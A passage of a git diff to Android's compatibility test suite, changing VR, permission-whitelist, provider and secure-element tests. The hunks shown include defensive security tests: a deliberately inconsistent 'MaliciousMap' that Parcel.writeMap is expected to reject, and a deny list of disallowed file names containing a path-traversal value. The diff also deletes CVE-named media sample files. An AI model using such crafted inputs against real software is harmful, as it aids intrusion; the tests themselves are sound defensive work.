+    EXPECT_EQ(0, memcmp(expected_data.data(), data, desc.width)) << s.str();
     AHardwareBuffer_unlock(mBuffer, nullptr);
 }
 
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
index 324ab9e..116771a 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
@@ -324,7 +324,7 @@
     AHardwareBuffer* buffer = NULL;
     AHardwareBuffer_Desc desc = {};
     desc.width = 120;
-    desc.width = 240;
+    desc.height = 240;
     desc.layers = 1;
     desc.usage = AHARDWAREBUFFER_USAGE_GPU_COLOR_OUTPUT | AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN;
     desc.format = AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM;
diff --git a/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java b/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java
index 0c4d250..ff022fc 100644
--- a/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java
+++ b/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java
@@ -17,16 +17,26 @@
 package android.hardware.nativehardware.cts;
 
 import android.content.pm.PackageManager;
+import android.content.res.Configuration;
 import android.hardware.HardwareBuffer;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
+
 /**
  * Checks whether layered buffers are supported when VR feature is present.
  */
 public class HardwareBufferVrTest extends AndroidTestCase {
+
+    @CddTest(requirement="7.9.2/C-1-10")
     public void testLayeredBuffersForVr() throws AssertionError {
+        boolean mIsVrHeadset = (getContext().getResources().getConfiguration().uiMode
+            & Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_VR_HEADSET;
+
+        // Some phones upgrading from older Android versions have the high performance VR feature,
+        // but cannot meet this requirement. Only actually check it for standalone VR headsets.
         PackageManager pm = getContext().getPackageManager();
-        if (!pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE)) {
+        if (!pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE) || !mIsVrHeadset) {
             return;
         }
         final long flags = HardwareBuffer.USAGE_GPU_SAMPLED_IMAGE | HardwareBuffer.USAGE_GPU_COLOR_OUTPUT;
diff --git a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
index b8f334d..c599d65 100644
--- a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
@@ -26,6 +26,7 @@
 import android.content.pm.ConfigurationInfo;
 import android.content.pm.FeatureInfo;
 import android.content.pm.PackageManager;
+import android.content.res.Configuration;
 import android.support.test.filters.LargeTest;
 import android.support.test.rule.ActivityTestRule;
 import android.support.test.runner.AndroidJUnit4;
@@ -171,21 +172,32 @@
         if (!supportsVrHighPerformance())
             return;
         restartActivityWithClientVersion(3);
+        final boolean isVrHeadset = (mActivity.getResources().getConfiguration().uiMode
+            & Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_VR_HEADSET;
 
         String extensions = mActivity.getExtensionsString();
         final String requiredList[] = {
-            "GL_EXT_EGL_image_array",
-            "GL_EXT_external_buffer",
-            "GL_EXT_multisampled_render_to_texture2",
+            "GL_EXT_multisampled_render_to_texture",
             "GL_EXT_protected_textures",
             "GL_OVR_multiview",
             "GL_OVR_multiview2",
             "GL_OVR_multiview_multisampled_render_to_texture",
         };
+        final String vrHeadsetRequiredList[] = {
+            "GL_EXT_EGL_image_array",
+            "GL_EXT_external_buffer",
+            "GL_EXT_multisampled_render_to_texture2",
+        };
 
-        for (int i = 0; i < requiredList.length; ++i) {
-            assertTrue("Required extension for VR high-performance is missing: " + requiredList[i],
-                    hasExtension(extensions, requiredList[i]));
+        for (String requiredExtension : requiredList) {
+            assertTrue("Required extension for VR high-performance is missing: " + requiredExtension,
+                    hasExtension(extensions, requiredExtension));
+        }
+        if (isVrHeadset) {
+            for (String requiredExtension : vrHeadsetRequiredList) {
+                assertTrue("Required extension for VR high-performance is missing: " + requiredExtension,
+                        hasExtension(extensions, requiredExtension));
+            }
         }
 
         EGL10 egl = (EGL10) EGLContext.getEGL();
@@ -194,17 +206,25 @@
         final String requiredEglList[] = {
             "EGL_ANDROID_front_buffer_auto_refresh",
             "EGL_ANDROID_get_native_client_buffer",
-            "EGL_EXT_image_gl_colorspace",
             "EGL_EXT_protected_content",
             "EGL_IMG_context_priority",
             "EGL_KHR_fence_sync",
             "EGL_KHR_mutable_render_buffer",
             "EGL_KHR_wait_sync",
         };
+        final String vrHeadsetRequiredEglList[] = {
+            "EGL_EXT_image_gl_colorspace",
+        };
 
-        for (int i = 0; i < requiredEglList.length; ++i) {
-            assertTrue("Required EGL extension for VR high-performance is missing: " +
-                requiredEglList[i], hasExtension(extensions, requiredEglList[i]));
+        for (String requiredExtension : requiredEglList) {
+            assertTrue("Required EGL extension for VR high-performance is missing: " + requiredExtension,
+                    hasExtension(extensions, requiredExtension));
+        }
+        if (isVrHeadset) {
+            for (String requiredExtension : vrHeadsetRequiredEglList) {
+                assertTrue("Required EGL extension for VR high-performance is missing: " + requiredExtension,
+                        hasExtension(extensions, requiredExtension));
+            }
         }
     }
     @CddTest(requirement="7.1.4.1/C-6-1")
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index c65c61b..987ab00 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -19,7 +19,11 @@
 import java.io.FileDescriptor;
 import java.io.Serializable;
 import java.util.ArrayList;
+import java.util.Collection;
 import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
 
 import android.content.pm.Signature;
 import android.os.BadParcelableException;
@@ -3225,4 +3229,58 @@
         assertEquals(42, list.get(0).getValue());
         assertEquals(56, list.get(1).getValue());
     }
+
+    public void testMaliciousMapWrite() {
+        class MaliciousMap<K, V> extends HashMap<K, V> {
+            public int fakeSize = 0;
+            public boolean armed = false;
+
+            class FakeEntrySet extends HashSet<Entry<K, V>> {
+                public FakeEntrySet(Collection<? extends Entry<K, V>> c) {
+                    super(c);
+                }
+
+                @Override
+                public int size() {
+                    if (armed) {
+                        // Only return fake size on next call, to mitigate unexpected behavior.
+                        armed = false;
+                        return fakeSize;
+                    } else {
+                        return super.size();
+                    }
+                }
+            }
+
+            @Override
+            public Set<Map.Entry<K, V>> entrySet() {
+                return new FakeEntrySet(super.entrySet());
+            }
+        }
+
+        Parcel parcel = Parcel.obtain();
+
+        // Fake having more Map entries than there really are
+        MaliciousMap map = new MaliciousMap<String, String>();
+        map.fakeSize = 1;
+        map.armed = true;
+        try {
+            parcel.writeMap(map);
+            fail("Should have thrown a BadParcelableException");
+        } catch (BadParcelableException bpe) {
+            // good
+        }
+
+        // Fake having fewer Map entries than there really are
+        map = new MaliciousMap<String, String>();
+        map.put("key", "value");
+        map.fakeSize = 0;
+        map.armed = true;
+        try {
+            parcel.writeMap(map);
+            fail("Should have thrown a BadParcelableException");
+        } catch (BadParcelableException bpe) {
+            // good
+        }
+    }
 }
diff --git a/tests/tests/permission2/Android.mk b/tests/tests/permission2/Android.mk
index e44cd14..c8b71c5 100755
--- a/tests/tests/permission2/Android.mk
+++ b/tests/tests/permission2/Android.mk
@@ -28,7 +28,8 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
 	compatibility-device-util \
-	ctstestrunner
+	ctstestrunner \
+	guava
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
index 585f9c6..517f451 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
@@ -16,27 +16,40 @@
 
 package android.permission2.cts;
 
-import com.android.compatibility.common.util.SystemUtil;
+import static android.content.pm.PackageInfo.REQUESTED_PERMISSION_GRANTED;
+import static android.content.pm.PackageManager.GET_PERMISSIONS;
+import static android.content.pm.PackageManager.MATCH_FACTORY_ONLY;
+import static android.content.pm.PackageManager.MATCH_UNINSTALLED_PACKAGES;
+
+import static com.google.common.collect.Maps.filterValues;
+import static com.google.common.collect.Sets.difference;
+import static com.google.common.collect.Sets.intersection;
+import static com.google.common.collect.Sets.newHashSet;
 
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.PermissionInfo;
 import android.support.test.InstrumentationRegistry;
 import android.test.AndroidTestCase;
+import android.text.TextUtils;
+import android.util.ArrayMap;
 import android.util.Log;
 
+import com.android.compatibility.common.util.PropertyUtil;
+import com.android.compatibility.common.util.SystemUtil;
+
 import java.io.IOException;
 import java.util.Arrays;
 import java.util.Collections;
+import java.util.Comparator;
+import java.util.HashMap;
 import java.util.HashSet;
 import java.util.LinkedHashSet;
 import java.util.List;
+import java.util.Map;
 import java.util.Set;
 import java.util.TreeSet;
 
-import static android.content.pm.PackageManager.GET_PERMISSIONS;
-import static android.content.pm.PackageManager.MATCH_FACTORY_ONLY;
-
 /**
  * Tests enforcement of signature|privileged permission whitelist:
  * <ul>
@@ -65,8 +78,11 @@
         }
 
         List<PackageInfo> installedPackages = pm
-                .getInstalledPackages(PackageManager.MATCH_UNINSTALLED_PACKAGES);
+                .getInstalledPackages(MATCH_UNINSTALLED_PACKAGES | GET_PERMISSIONS);
+        installedPackages.sort(Comparator.comparing(p -> p.packageName));
 
+        Map<String, Set<String>> packagesGrantedNotInWhitelist = new HashMap<>();
+        Map<String, Set<String>> packagesNotGrantedNotRemovedNotInDenylist = new HashMap<>();
         for (PackageInfo pkg : installedPackages) {
             String packageName = pkg.packageName;
             if (!pkg.applicationInfo.isPrivilegedApp()
@@ -74,57 +90,116 @@
                 continue;
             }
 
-            Set<String> requestedPrivPermissions = new TreeSet<>();
-            Set<String> grantedPrivPermissions = new TreeSet<>();
-            PackageInfo factoryPackageInfo = pm
+            PackageInfo factoryPkg = pm
                     .getPackageInfo(packageName, MATCH_FACTORY_ONLY | GET_PERMISSIONS);
 
-            assertNotNull("No system image version found for " + packageName, factoryPackageInfo);
-            String[] requestedPermissions = factoryPackageInfo.requestedPermissions;
-            int[] requestedPermissionsFlags = factoryPackageInfo.requestedPermissionsFlags;
+            assertNotNull("No system image version found for " + packageName, factoryPkg);
 
-            if (requestedPermissions == null || requestedPermissions.length == 0) {
-                continue;
+            Set<String> factoryRequestedPrivPermissions;
+            if (factoryPkg.requestedPermissions == null) {
+                factoryRequestedPrivPermissions = Collections.emptySet();
+            } else {
+                factoryRequestedPrivPermissions = intersection(
+                        newHashSet(factoryPkg.requestedPermissions), platformPrivPermissions);
             }
-            // Collect 2 sets: requestedPermissions and grantedPrivPermissions
-            for (int i = 0; i < requestedPermissions.length; i++) {
-                String permission = requestedPermissions[i];
-                if (platformPrivPermissions.contains(permission)) {
-                    requestedPrivPermissions.add(permission);
-                    if ((requestedPermissionsFlags[i]
-                            & PackageInfo.REQUESTED_PERMISSION_GRANTED) != 0) {
-                        grantedPrivPermissions.add(permission);
+
+            Map<String, Boolean> requestedPrivPermissions = new ArrayMap<>();
+            if (pkg.requestedPermissions != null) {
+                for (int i = 0; i < pkg.requestedPermissions.length; i++) {
+                    String permission = pkg.requestedPermissions[i];
+                    if (platformPrivPermissions.contains(permission)) {
+                        requestedPrivPermissions.put(permission,
+                                (pkg.requestedPermissionsFlags[i] & REQUESTED_PERMISSION_GRANTED)
+                                        != 0);
                     }
                 }
             }
+
             // If an app is requesting any privileged permissions, log the details and verify
             // that granted permissions are whitelisted
-            if (!requestedPrivPermissions.isEmpty()) {
-                Set<String> notGranted = new TreeSet<>(requestedPrivPermissions);
-                notGranted.removeAll(grantedPrivPermissions);
+            if (!factoryRequestedPrivPermissions.isEmpty() && !requestedPrivPermissions.isEmpty()) {
+                Set<String> granted = filterValues(requestedPrivPermissions,
+                        isGranted -> isGranted).keySet();
+
+                Set<String> factoryNotGranted = difference(factoryRequestedPrivPermissions,
+                        granted);
+
+                // priv permissions that the system package requested, but the current package not
+                // anymore
+                Set<String> removed = difference(factoryRequestedPrivPermissions,
+                        requestedPrivPermissions.keySet());
+
                 Set<String> whitelist = getPrivAppPermissions(packageName);
                 Set<String> denylist = getPrivAppDenyPermissions(packageName);
-                Log.i(TAG, "Application " + packageName + "."
-                        + " Requested permissions: " + requestedPrivPermissions + "."
-                        + " Granted permissions: " + grantedPrivPermissions + "."
-                        + " Not granted: " + notGranted + "."
-                        + " Whitelisted: " + whitelist + "."
-                        + " Denylisted: " + denylist);
+                String msg = "Application " + packageName + "\n"
+                        + "  Factory requested permissions:\n"
+                        + getPrintableSet("    ", factoryRequestedPrivPermissions)
+                        + "  Granted:\n"
+                        + getPrintableSet("    ", granted)
+                        + "  Removed:\n"
+                        + getPrintableSet("    ", removed)
+                        + "  Whitelisted:\n"
+                        + getPrintableSet("    ", whitelist)
+                        + "  Denylisted:\n"
+                        + getPrintableSet("    ", denylist)
+                        + "  Factory not granted:\n"
+                        + getPrintableSet("    ", factoryNotGranted);
 
-                Set<String> grantedNotInWhitelist = new TreeSet<>(grantedPrivPermissions);
-                grantedNotInWhitelist.removeAll(whitelist);
-                Set<String> notGrantedNotInDenylist = new TreeSet<>(notGranted);
-                notGrantedNotInDenylist.removeAll(denylist);
+                for (String line : msg.split("\n")) {
+                    Log.i(TAG, line);
 
-                assertTrue("Not whitelisted permissions are granted for package "
-                                + packageName + ": " + grantedNotInWhitelist,
-                        grantedNotInWhitelist.isEmpty());
+                    // Prevent log from truncating output
+                    Thread.sleep(10);
+                }
 
-                assertTrue("Requested permissions not granted for package "
-                                + packageName + ": " + notGrantedNotInDenylist,
-                        notGrantedNotInDenylist.isEmpty());
+                Set<String> grantedNotInWhitelist = difference(granted, whitelist);
+                Set<String> factoryNotGrantedNotRemovedNotInDenylist = difference(difference(
+                        factoryNotGranted, removed), denylist);
+
+                if (!grantedNotInWhitelist.isEmpty()) {
+                    packagesGrantedNotInWhitelist.put(packageName, grantedNotInWhitelist);
+                }
+
+                if (!factoryNotGrantedNotRemovedNotInDenylist.isEmpty()) {
+                    packagesNotGrantedNotRemovedNotInDenylist.put(packageName,
+                            factoryNotGrantedNotRemovedNotInDenylist);
+                }
             }
         }
+        StringBuilder message = new StringBuilder();
+        if (!packagesGrantedNotInWhitelist.isEmpty()) {
+            message.append("Not whitelisted permissions are granted: "
+                    + packagesGrantedNotInWhitelist.toString());
+        }
+        if (!packagesNotGrantedNotRemovedNotInDenylist.isEmpty()) {
+            if (message.length() != 0) {
+                message.append(", ");
+            }
+            message.append("Requested permissions not granted: "
+                    + packagesNotGrantedNotRemovedNotInDenylist.toString());
+        }
+        if (!packagesGrantedNotInWhitelist.isEmpty()
+                || !packagesNotGrantedNotRemovedNotInDenylist.isEmpty()) {
+            fail(message.toString());
+        }
+    }
+
+    private <T> String getPrintableSet(String indendation, Set<T> set) {
+        if (set.isEmpty()) {
+            return "";
+        }
+
+        StringBuilder sb = new StringBuilder();
+
+        for (T e : new TreeSet<>(set)) {
+            if (!TextUtils.isEmpty(e.toString().trim())) {
+                sb.append(indendation);
+                sb.append(e);
+                sb.append("\n");
+            }
+        }
+
+        return sb.toString();
     }
 
     private Set<String> getPrivAppPermissions(String packageName) throws IOException {
diff --git a/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java b/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
index 4ef28f4..30fdf24 100644
--- a/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
+++ b/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
@@ -26,6 +26,7 @@
 import android.net.Uri;
 import android.provider.BlockedNumberContract;
 import android.provider.BlockedNumberContract.BlockedNumbers;
+import android.telephony.TelephonyManager;
 
 import junit.framework.Assert;
 
@@ -69,6 +70,13 @@
     }
 
     public void testProviderInteractionsAsRegularApp_fails() {
+        TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
+        // Don't run this test if we're carrier privileged.
+        if (telephonyManager.checkCarrierPrivilegesForPackage(mContext.getPackageName())
+                == TelephonyManager.CARRIER_PRIVILEGE_STATUS_HAS_ACCESS) {
+            return;
+        }
+
         try {
             mAddedUris.add(mContentResolver.insert(
                     BlockedNumbers.CONTENT_URI, getContentValues("1234567890")));
diff --git a/tests/tests/provider/src/android/provider/cts/CalendarTest.java b/tests/tests/provider/src/android/provider/cts/CalendarTest.java
index 8db5e45..fcd873a 100644
--- a/tests/tests/provider/src/android/provider/cts/CalendarTest.java
+++ b/tests/tests/provider/src/android/provider/cts/CalendarTest.java
@@ -2516,8 +2516,8 @@
         // instances, and it's stored as minutes since midnight in the device's time zone.
         // Things won't be consistent if the event and the device have different ideas about DST.
         String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
-        String testStart = "1999-04-18T00:00:00";
-        String testEnd = "1999-05-16T23:59:59";
+        String testStart = "1999-07-02T00:00:00";
+        String testEnd = "1999-08-04T23:59:59";
         String[] projection = { Instances.BEGIN, Instances.START_MINUTE, Instances.END_MINUTE };
 
         Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java b/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java
index b54a5e5..6ce81a0 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java
@@ -16,12 +16,19 @@
 
 package android.provider.cts;
 
+import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
+import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+import static android.Manifest.permission.CAMERA;
+import static android.Manifest.permission.READ_EXTERNAL_STORAGE;
+import static android.Manifest.permission.RECORD_AUDIO;
+import static android.Manifest.permission.WRITE_EXTERNAL_STORAGE;
+
 import android.app.Activity;
-import android.app.UiAutomation;
 import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.UriPermission;
+import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.media.ExifInterface;
@@ -41,7 +48,6 @@
 import android.support.test.uiautomator.UiObject2;
 import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
-import androidx.core.content.FileProvider;
 import android.test.InstrumentationTestCase;
 import android.text.format.DateUtils;
 import android.util.Log;
@@ -53,9 +59,14 @@
 import java.io.FileOutputStream;
 import java.io.FileReader;
 import java.io.OutputStream;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
+import androidx.core.content.FileProvider;
+
 public class MediaStoreUiTest extends InstrumentationTestCase {
     private static final String TAG = "MediaStoreUiTest";
 
@@ -141,6 +152,13 @@
         try { mDevice.findObject(sel).click(); } catch (Throwable ignored) { }
     }
 
+    private void maybeGrantRuntimePermission(String pkg, Set<String> requested, String permission) {
+        if (requested.contains(permission)) {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .grantRuntimePermission(pkg, permission);
+        }
+    }
+
     /**
      * Verify that whoever handles {@link MediaStore#ACTION_IMAGE_CAPTURE} can
      * correctly write the contents into a passed {@code content://} Uri.
@@ -167,14 +185,18 @@
         final String pkg = ri.activityInfo.packageName;
         Log.d(TAG, "We're probably launching " + ri);
 
+        final PackageInfo pi = context.getPackageManager().getPackageInfo(pkg,
+                PackageManager.GET_PERMISSIONS);
+        final Set<String> req = new HashSet<>();
+        req.addAll(Arrays.asList(pi.requestedPermissions));
+
         // Grant them all the permissions they might want
-        final UiAutomation ui = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        ui.grantRuntimePermission(pkg, android.Manifest.permission.CAMERA);
-        ui.grantRuntimePermission(pkg, android.Manifest.permission.ACCESS_COARSE_LOCATION);
-        ui.grantRuntimePermission(pkg, android.Manifest.permission.ACCESS_FINE_LOCATION);
-        ui.grantRuntimePermission(pkg, android.Manifest.permission.RECORD_AUDIO);
-        ui.grantRuntimePermission(pkg, android.Manifest.permission.READ_EXTERNAL_STORAGE);
-        ui.grantRuntimePermission(pkg, android.Manifest.permission.WRITE_EXTERNAL_STORAGE);
+        maybeGrantRuntimePermission(pkg, req, CAMERA);
+        maybeGrantRuntimePermission(pkg, req, ACCESS_COARSE_LOCATION);
+        maybeGrantRuntimePermission(pkg, req, ACCESS_FINE_LOCATION);
+        maybeGrantRuntimePermission(pkg, req, RECORD_AUDIO);
+        maybeGrantRuntimePermission(pkg, req, READ_EXTERNAL_STORAGE);
+        maybeGrantRuntimePermission(pkg, req, WRITE_EXTERNAL_STORAGE);
         SystemClock.sleep(DateUtils.SECOND_IN_MILLIS);
 
         mActivity.startActivityForResult(intent, REQUEST_CODE);
diff --git a/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java b/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java
index badc88e..bbdf714 100644
--- a/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java
+++ b/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java
@@ -149,6 +149,11 @@
             c.close();
 
             // restore the fontScale
+            try {
+                // Delay helps ActivityManager in completing its previous font-change processing.
+                Thread.sleep(1000);
+            } catch (Exception e){}
+
             cfg.fontScale = store;
             assertTrue(System.putConfiguration(cr, cfg));
         }
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java
index 18006b2..3a2f670 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java
@@ -29,7 +29,6 @@
     private static final String[] NOT_ALLOWED_FILES = {
             "not_allowed.txt",
             "../A-contacts-db.zip",   // ".." is not allowed.
-            "/A-contacts-db.zip",     // "/" is not allowed
             "-contacts-db.zip",       // no name prefix
             "asdf-contacts-db.zip"};
 
@@ -88,7 +87,7 @@
             return;
         }
 
-        fail("IllegalArgumentException expected but not thrown.");
+        fail("IllegalArgumentException expected but not thrown: " + uri);
     }
 
     private void assertOpenFileDescriptorThrowsError(Uri uri) {
@@ -101,6 +100,6 @@
 
         }
 
-        fail("IllegalArgumentException expected but not thrown.");
+        fail("IllegalArgumentException expected but not thrown: " + uri);
     }
 }
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/src/android/omapi/accesscontrol1/cts/AccessControlTest.java b/tests/tests/secure_element/access_control/AccessControlApp1/src/android/omapi/accesscontrol1/cts/AccessControlTest.java
old mode 100644
new mode 100755
index 45dd3f0..4ea5b59
--- a/tests/tests/secure_element/access_control/AccessControlApp1/src/android/omapi/accesscontrol1/cts/AccessControlTest.java
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/src/android/omapi/accesscontrol1/cts/AccessControlTest.java
@@ -39,7 +39,7 @@
 import android.se.omapi.SEService.OnConnectedListener;
 import android.se.omapi.Session;
 import android.support.test.InstrumentationRegistry;
-
+import android.os.Build;
 import com.android.compatibility.common.util.PropertyUtil;
 
 public class AccessControlTest {
@@ -163,6 +163,7 @@
 
     @Before
     public void setUp() throws Exception {
+        assumeTrue(PropertyUtil.getFirstApiLevel() > Build.VERSION_CODES.O_MR1);
         assumeTrue(supportsHardware());
         seService = new SEService(InstrumentationRegistry.getContext(), new SynchronousExecutor(), mListener);
         connectionTimer = new Timer();
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/src/android/omapi/accesscontrol2/cts/AccessControlTest.java b/tests/tests/secure_element/access_control/AccessControlApp2/src/android/omapi/accesscontrol2/cts/AccessControlTest.java
old mode 100644
new mode 100755
index 4a7b7e6..5998cea
--- a/tests/tests/secure_element/access_control/AccessControlApp2/src/android/omapi/accesscontrol2/cts/AccessControlTest.java
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/src/android/omapi/accesscontrol2/cts/AccessControlTest.java
@@ -39,7 +39,7 @@
 import android.se.omapi.SEService.OnConnectedListener;
 import android.se.omapi.Session;
 import android.support.test.InstrumentationRegistry;
-
+import android.os.Build;
 import com.android.compatibility.common.util.PropertyUtil;
 
 public class AccessControlTest {
@@ -162,6 +162,7 @@
 
     @Before
     public void setUp() throws Exception {
+        assumeTrue(PropertyUtil.getFirstApiLevel() > Build.VERSION_CODES.O_MR1);
         assumeTrue(supportsHardware());
         seService = new SEService(InstrumentationRegistry.getContext(), new SynchronousExecutor(), mListener);
         connectionTimer = new Timer();
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/src/android/omapi/accesscontrol3/cts/AccessControlTest.java b/tests/tests/secure_element/access_control/AccessControlApp3/src/android/omapi/accesscontrol3/cts/AccessControlTest.java
old mode 100644
new mode 100755
index 3a8971c..cdf8893
--- a/tests/tests/secure_element/access_control/AccessControlApp3/src/android/omapi/accesscontrol3/cts/AccessControlTest.java
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/src/android/omapi/accesscontrol3/cts/AccessControlTest.java
@@ -39,7 +39,7 @@
 import android.se.omapi.SEService.OnConnectedListener;
 import android.se.omapi.Session;
 import android.support.test.InstrumentationRegistry;
-
+import android.os.Build;
 import com.android.compatibility.common.util.PropertyUtil;
 
 public class AccessControlTest {
@@ -172,6 +172,7 @@
 
     @Before
     public void setUp() throws Exception {
+        assumeTrue(PropertyUtil.getFirstApiLevel() > Build.VERSION_CODES.O_MR1);
         assumeTrue(supportsHardware());
         seService = new SEService(InstrumentationRegistry.getContext(), new SynchronousExecutor(), mListener);
         connectionTimer = new Timer();
diff --git a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
old mode 100644
new mode 100755
index 438857d..c9d21bb
--- a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
+++ b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
@@ -42,7 +42,7 @@
 import android.se.omapi.SEService.OnConnectedListener;
 import android.se.omapi.Session;
 import android.support.test.InstrumentationRegistry;
-
+import android.os.Build;
 import com.android.compatibility.common.util.PropertyUtil;
 
 public class OmapiTest {
@@ -159,6 +159,7 @@
 
     @Before
     public void setUp() throws Exception {
+        assumeTrue(PropertyUtil.getFirstApiLevel() > Build.VERSION_CODES.O_MR1);
         assumeTrue(supportsHardware());
         seService = new SEService(InstrumentationRegistry.getContext(), new SynchronousExecutor(), mListener);
         connectionTimer = new Timer();
diff --git a/tests/tests/security/res/raw/bug_36592202.ogg b/tests/tests/security/res/raw/bug_36592202.ogg
deleted file mode 100755
index 868e630..0000000
--- a/tests/tests/security/res/raw/bug_36592202.ogg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4
deleted file mode 100644
index 261e173..0000000
--- a/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4
deleted file mode 100644
index e8f1c41..0000000
--- a/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4
deleted file mode 100644
index ecc10cb..0000000
--- a/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4
deleted file mode 100644
index 34851ad..0000000
--- a/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_64710074.mp4 b/tests/tests/security/res/raw/bug_64710074.mp4
deleted file mode 100644
index 5544ffe..0000000
--- a/tests/tests/security/res/raw/bug_64710074.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2016_3828.mp4 b/tests/tests/security/res/raw/cve_2016_3828.mp4
deleted file mode 100755
index 88109cb..0000000
--- a/tests/tests/security/res/raw/cve_2016_3828.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
old mode 100755
new mode 100644
index 4e128bc..31769e1
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -33,8 +33,6 @@
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
 import android.media.MediaCodecList;
-import android.media.MediaDrm;
-import android.media.MediaDrm.MediaDrmStateException;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.media.MediaMetadataRetriever;
@@ -55,11 +53,8 @@
 import java.io.InputStream;
 import java.net.URL;
 import java.nio.ByteBuffer;
-import java.io.FileOutputStream;
-import java.io.File;
 import java.util.ArrayList;
 import java.util.HashMap;
-import java.util.UUID;
